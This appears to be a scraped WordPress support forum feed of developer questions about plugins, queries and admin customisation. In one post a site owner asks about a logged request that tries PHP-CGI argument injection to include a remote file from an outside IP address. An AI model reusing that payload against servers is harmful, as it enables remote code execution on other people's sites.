Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

MirrorDesigns on "Auto Populate a set of pages"

$
0
0

I am very very very new to wordpress and PHP, I am currently setting up a page that I only activate new members on. What I am wondering is, if there is a way to set up my site so that when I add a member it will automatically automatically setup a page called "Bio - member name" and a photo gallery? I am using the plugin NextGen Gallery for my galleries. other than that I have no clue :/ I haven't come across a plugin for this as of yet but maybe you more experienced people will no the answer. I have the site live on a dummy domain if you want to see what I have so far. http://www.mirrordesigns.net


fanalejr on "Preventing filters interacting with custom post type"

$
0
0

Hey all,
I have a plugin that adds a custom post type to a users theme. However, this is a very specific post type and I need it to not allow for other plugins or content filters to add content to the post type when its ouput.

Basically, plugins like adding signatures, or using filters to add content above/below all posts adds this content to the custom post type from my plugin as well - and I need it not to.

Is there some script that I've missed that I can add to my plugin to prevent this from happening? Any help would be greatly appreciated.

Thanks

jmarks2013 on "Is this a hacker messing with my site?"

$
0
0

Hello.

So I was checking my site stats and I found a visitor who came to my site today was fishy.

The destination "page" the visitor was trying to access is....

-dsafe_mode%253dOff+-ddisable_functions%253dNULL+-dallow_url_fopen%253dOn+-dallow_url_include%253dOn+-dauto_prepend_file%253dhttp%253A%252F%252F75.99.7.131%252Fchanglog.txt

Normally my stats pluging would show the page or post title here so this one kind of got my back up a bit.

I banned the IP, but would still like to know if anyone understands what he was after and whether or not I should be worried about it.

Thanks.

irfandayan on "WooCommerce-How to remove product & product-category from URLs?"

ibab on "Users with access to only 1 page"

$
0
0

Is it possible anyhow to make 1 user have access to edit just 1 page?

So let's say there are pages a, b, c and d. There are users e, f, g and h.

The user e should have access to edit only page a and nothing else, while user f should be able to edit page b and so on.

Is there any way to make this possible?

seblg on "$wpdb->update vs $wpdb->query->prepare"

$
0
0

Hi,

My plugin (http://ostenta.fr/yawpp/index_en.html) has been temporarily withdrawn due to a security issue. (SQL injection)

I tried to fix it but I recieved a new mail because I wasn't using prepare() to update rows in the DB.

Actualy, I'm using update() function.

What is the best way to update a rows?

walshie1987 on "Wordpress table from database - Creating Plugin"

$
0
0

I am new to creating wordpress plugins and as a start I'm wanting to simply add a menu to my wordpress admin and then on the page show a table that is based on my database.

I'm using the following code that I found, and although I understand 90% i'm struggling with how I can get my table data from my database into this.

<?php
/*
* Plugin Name: Paulund WP List Table Example
* Description: An example of how to use the WP_List_Table class to display data in your WordPress Admin area
* Plugin URI: http://www.paulund.co.uk
* Author: Paul Underwood
* Author URI: http://www.paulund.co.uk
* Version: 1.0
* License: GPL2
*/

if(is_admin())
{
new Paulund_Wp_List_Table();
}

/**
* Paulund_Wp_List_Table class will create the page to load the table
*/
class Paulund_Wp_List_Table
{
/**
* Constructor will create the menu item
*/
public function __construct()
{
add_action( 'admin_menu', array($this, 'add_menu_example_list_table_page' ));
}

/**
* Menu item will allow us to load the page to display the table
*/
public function add_menu_example_list_table_page()
{
add_menu_page( 'Example List Table', 'Example List Table', 'manage_options', 'example-list-table.php', array($this, 'list_table_page') );
}

/**
* Display the list table page
*
* @return Void
*/
public function list_table_page()
{
$exampleListTable = new Example_List_Table();
$exampleListTable->prepare_items();
?>
<div class="wrap">
<div id="icon-users" class="icon32"></div>
<h2>Example List Table Page</h2>
<?php $exampleListTable->display(); ?>
</div>
<?php
}
}

// WP_List_Table is not loaded automatically so we need to load it in our application
if( ! class_exists( 'WP_List_Table' ) ) {
require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
}

/**
* Create a new table class that will extend the WP_List_Table
*/
class Example_List_Table extends WP_List_Table
{
/**
* Prepare the items for the table to process
*
* @return Void
*/
public function prepare_items()
{
$columns = $this->get_columns();
$hidden = $this->get_hidden_columns();
$sortable = $this->get_sortable_columns();

$data = $this->table_data();
usort( $data, array( &$this, 'sort_data' ) );

$perPage = 2;
$currentPage = $this->get_pagenum();
$totalItems = count($data);

$this->set_pagination_args( array(
'total_items' => $totalItems,
'per_page' => $perPage
) );

$data = array_slice($data,(($currentPage-1)*$perPage),$perPage);

$this->_column_headers = array($columns, $hidden, $sortable);
$this->items = $data;
}

/**
* Override the parent columns method. Defines the columns to use in your listing table
*
* @return Array
*/
public function get_columns()
{
$columns = array(
'id' => 'ID',
'title' => 'Title',
'description' => 'Description',
'director' => 'Director',
);

return $columns;
}

/**
* Define which columns are hidden
*
* @return Array
*/
public function get_hidden_columns()
{
return array();
}

/**
* Define the sortable columns
*
* @return Array
*/
public function get_sortable_columns()
{
return array('title' => array('title', false));
}

/**
* Get the table data
*
* @return Array
*/
private function table_data()
{
$data = array();

$data[] = array(
'id' => 1,
'title' => 'The Shawshank Redemption',
'description' => 'Two imprisoned men bond over a number of years, finding solace and eventual redemption through acts of common decency.',
'director' => 'Frank Darabont',
);

$data[] = array(
'id' => 2,
'title' => 'The Godfather',
'description' => 'The aging patriarch of an organized crime dynasty transfers control of his clandestine empire to his reluctant son.',
'director' => 'Francis Ford Coppola',
);

$data[] = array(
'id' => 3,
'title' => 'The Godfather: Part II',
'description' => 'The early life and career of Vito Corleone in 1920s New York is portrayed while his son, Michael, expands and tightens his grip on his crime syndicate stretching from Lake Tahoe, Nevada to pre-revolution 1958 Cuba.',
'director' => 'Francis Ford Coppola',

);

return $data;
}

/**
* Define what data to show on each column of the table
*
* @param Array $item Data
* @param String $column_name - Current column name
*
* @return Mixed
*/
public function column_default( $item, $column_name )
{
switch( $column_name ) {
case 'id':
case 'title':
case 'description':

case 'director':

return $item[ $column_name ];

default:
return print_r( $item, true ) ;
}
}

/**
* Allows you to sort the data by the variables set in the $_GET
*
* @return Mixed
*/
private function sort_data( $a, $b )
{
// Set defaults
$orderby = 'title';
$order = 'asc';

// If orderby is set, use this as the sort column
if(!empty($_GET['orderby']))
{
$orderby = $_GET['orderby'];
}

// If order is set use this as the order
if(!empty($_GET['order']))
{
$order = $_GET['order'];
}

$result = strcmp( $a[$orderby], $b[$orderby] );

if($order === 'asc')
{
return $result;
}

return -$result;
}
}
?>

What I tried doing as a test was the following under private function table_data(), but I had no success, just a blank page:

global $wpdb;
$results= $wpdb->get_results( $wpdb->prepare("SELECT * FROM wp_terms") );

 foreach ($results as $result) {
    $data[] = array(
    'id' => $results['term_id'],
    'title' => $results['name'],
    'description' => $results['slug'],
    'director' => $results['term_group'],
    );

return $data;

}

Could anyone point my in the right direction?

Cheers Chris

Joe Hesse on "Query from non-wp database"

$
0
0

I have another database on my server besides the wordpress one.

I want to do a query on a table in this database and have the result of the query appear in a wordpress page.

I know MySQL and can pick up the necessary PHP.

Please point me to some documentation that will help me. I just have to see some examples and will be able to figure it out. Perhaps something like how to write PHP code to create a wordpress page

Thank you,
Joe Hesse


lacheney on "Query Wordpress database by registered date and role"

$
0
0

I would like to get the display name and email address for all users who have registered to my multisite today with the role of subscriber. It needs to be an SQL query as it's used outside of the WP files.

I've gathered I need the following:

Table: wp_users Columns: user_registered, user_email, display_name

Table: wp_usermeta Columns: wp_6_capabilities = a:1:{s:10:"subscriber";b:1;}

I'm guessing I need to get the user ID's from wp_users of all users who have subscribed today, then check against wp_usermeta to narrow those results down by the user role. Then I need to go back to wp_users and get the email and display name.

I've been trying to write an SQL query to do this for a while and can't seem to come up with anything.

Any help is appreciated.

Thanks.

robbiet63 on "Thickbox height/width on admin menu page sized to default- Can I overwrite size?"

$
0
0

My thickbox is working, displaying a photo from URL, but the height and width are not adjusted. (The code from my plugin is below.) The result is a thickbox that appears to be sized according to a WP default, (used by WP for instance when providing more information on plugins etc). Is there any way to overwrite this default?

Here's my code:

add_thickbox();
echo "<a href='".$photo_url."TB_iframe=true&width=600&height=550' class='thickbox'>Click to enlarge: <img src=".$photo_url." height='30'></a>";

In the above code I include height and width settings but they are not applied by WP. Instead the default is applied making the modal window too narrow and too high.

I have found a few other posts on this topic, such as "Custom height/width for thickbox in WP Backend" but it remains unclear whether the WP default settings can be overwritten, and if they can be overwritten whether this is true both for front-end and back-end. And if the proposed solution does work I need more details to figure out how to make it work in my plugin.

Better yet, is there another way of employing modal windows as lightboxes when making WP plugins - specifically for use in the admin menu? Ideally the size of the modal window would be set according to the size of the viewer's screen, instead of being a static pre-set.

Thx

RogerSanchez on "Help with custom search/filter in wp-admin/users.php"

$
0
0

Hi all;

I'm at a bit of a loss after searching hours on the internet all day today for a possible solution to what I thought would be an easy project.

I have created custom user roles on a website and removed the default ones (except administrator). With how I've customized the site, only the admin and the new user roles were needed (ex: user_level_01, user_level_02, user_level_03, user_level_04, user_level_05, etc.).

With this, I am aiming for a hierarchal search within the 'wp-admin/users.php' area based on user roles. I have been attempting to filter the search results to only populate users in certain roles (user_level_04, user_level_05). I don't want the results to display higher-level roles (user_level_01, admin, etc.) - except obviously for the admin.

In addition, the role-selection area just under the 'Users / Add New' title within the page 'wp-admin/users.php' has predefined default populated roles ('all | Administrator | Contributor | Editor | Author | Subscriber). I'd like them to be replaced with my lower-level custom user roles (user_level_04, user_level_05). The issue with that is that using FireBug, I cannot find where this function is so that I can edit, and I could edit the CSS style '.subsubsub' to 'display: none', but then again, I don't know where else it may be used and don't want to risk hiding other features later on.

I'd prefer a functions.php solution vs. a plugin, but if the plugin doesn't interfere with my current set-up, I can test it out and see if it works.

Thanks in advance for any guidance.

magician11 on "confirm email address"

$
0
0

Hi,

Where would I begin by customising a form submission that first emails the person who submitted the form a link to check to confirm their email address.

I.e. "click here to confirm your email address"

I'm using Contact Form 7. I'm happy to code something.. but not sure where to start in generating and confirming that link?

cheers,
A

davejesch on "Problem with get_categories()"

$
0
0

I'm writing a taxonomy query that looks like this:

$args = array(
  'orderby' => 'name',
  'parent' => 0,
  'order' => 'ASC');
$categories = get_categories( $args );

I have taxonomy data so it should be returning something, but it isn't. I output the $wpdb->last_query and the query that get_categories() built is this:

SELECT t.*, tt.*
  FROM wp_terms AS t
  INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id
  WHERE tt.taxonomy IN ('category') AND tt.parent = '0' AND tt.count > 0
  ORDER BY t.term_order ASC;

The ordering on t.term_order fails because there is no term_order column in wp_terms. The only way I could get it to work was to add a 'get_terms_orderby' filter and have it return 't.name'. Then it generates the correct SQL:

SELECT t.*, tt.*
  FROM wp_terms AS t
  INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id
  WHERE tt.taxonomy IN ('category') AND tt.parent = '0' AND tt.count > 0
  ORDER BY t.name ASC;

Is there something wrong with the code that I wrote, or is there a bug in get_categories()?

Thanks!

MetalMario on "Cron Job"

$
0
0

Hi,
i've developed a plugin for Jigoshop to export orders in XML format.
I would like to automatically create XML files of my orders each hour without making a user request to the plugin.
What's the way to create automatically executed function(in my case, the XML generation function) in Wordpress?
Thank you.

besingamk on "Plugin sub menu"


dennismonsewicz on "Overriding default new user registration email"

$
0
0

I created a plugin that should override the default WP new registration email, but it isn't working.

I created a file in my plugins directory called welcome_email_override.php, activated it and when I register a test user, the default WP email is still sent.

Is there anyway to do this without modifying the pluggable.php file?

Here is my code:

<?php

/*
Plugin Name: wp_new_user_notification change subject line
Plugin URI: http://www.premiumstockmusic.com
Description: wp_new_user_notification changing the subject line
Author: Dennis Monsewicz
Version: 1
Author URI: http://dennismonsewicz.com
*/

/**
 * Notify the blog admin of a new user, normally via email.
 *
 * @since 2.0
 *
 * @param int $user_id User ID
 * @param string $plaintext_pass Optional. The user's plaintext password
 */

if ( !function_exists('wp_new_user_notification') ) {

 function wp_new_user_notification($user_id, $plantext_pass = '') {
   	$user = new WP_User( $user_id );

		$user_login = stripslashes( $user->user_login );
		$user_email = stripslashes( $user->user_email );

		$message  = sprintf( __('New user registration on %s:'), get_option('blogname') ) . "\r\n\r\n";
		$message .= sprintf( __('Username: %s'), $user_login ) . "\r\n\r\n";
		$message .= sprintf( __('E-mail: %s'), $user_email ) . "\r\n";

		@wp_mail(
			get_option('admin_email'),
			sprintf(__('[%s] New User Registration'), get_option('blogname') ),
			$message
		);

		if ( empty( $plaintext_pass ) )
			return;

		$message  = __('Hi there,') . "\r\n\r\n";
		$message .= sprintf( __("Welcome to %s! Here's how to log in:"), get_option('blogname')) . "\r\n\r\n";
		$message .= wp_login_url() . "\r\n";
		$message .= sprintf( __('Username: %s'), $user_login ) . "\r\n";
		$message .= sprintf( __('Password: %s'), $plaintext_pass ) . "\r\n\r\n";
		$message .= sprintf( __('If you have any problems, please contact me at %s.'), get_option('admin_email') ) . "\r\n\r\n";
		$message .= __('Adios!');

		wp_mail(
			$user_email,
			'Welcome to Premium Stock Music',
			$message
		);
 }

}
?>

damian.smith on "confirmation email to author after posting"

$
0
0

I've been looking around for a solution that will send a confirmation email to the author of a post they have submitted.

The confirmation email will need to contain the post information (which also includes custom fields)

Does anyone know of a working plugin or function for this?

Thanks

PrfctGdess on "How to display posts info/navigation in widget"

$
0
0

I'm not even sure this is where my ? needs to be posted, so if I'm in the wrong place, I apologize. :-)

I'm wondering if there's a plugin out there that can do what I need (or if someone could point me in the right general direction to code it myself). I have a client who want to display blog posts across the bottom of their website, one at a time, with nav arrows to move next/previous. I have that part working. However, they're also wanting to display the number of comments, post author, and share link for each post as it changes (that's where I'm stumped). Here's a graphic showing what I mean

Any ideas how I might best accomplish this? TIA!

Roadkill8D on "Shipping USPS plug in"

$
0
0

Hello,

I would like to turn "shipping_method_uspsi_first_class" off when the amount is over $75. i know it has to do with PHP and i know it go's into the function.php file. what i don't know is the code for the if amount. Could i get a little help?

Cheers

andy_woz on "User Query help - Listing Authors"

$
0
0

I have a select menu for a search function populated by a custom query ordered by user last name that is working fine but I have a clunky exclude to stop the admin user being listed:

<select name="author" id="select-author">
<option value="">Select Author</option>

<?php
$excluded = "1"; //exclude users by ID
$authors = $wpdb->get_results("SELECT * FROM $wpdb->users INNER JOIN $wpdb->usermeta ON ($wpdb->users.ID = $wpdb->usermeta.user_id) WHERE $wpdb->usermeta.meta_key = 'last_name' AND $wpdb->usermeta.user_id NOT IN ($excluded) ORDER BY $wpdb->usermeta.meta_value ASC");
							      foreach($authors as $author):
$select .='<option value="'. $author -> user_nicename .'">' . $author -> display_name . '</option>';
endforeach;
print $select;
?>

</select>

At some point I'm sure we are going to have more users and I don't want to be excluding them based on their ID but I can make do by limiting the users to all those with the author role. I don't see user_role currently listed in the resulting array for $authors. What I'd like to do is to add to the query and instead of excluding user ID's have only users with the role of author in the results. What's the best way to do this? I've tried a few things but nothing works so far......

Thanks!

Viewing all 8245 articles
Browse latest View live




Latest Images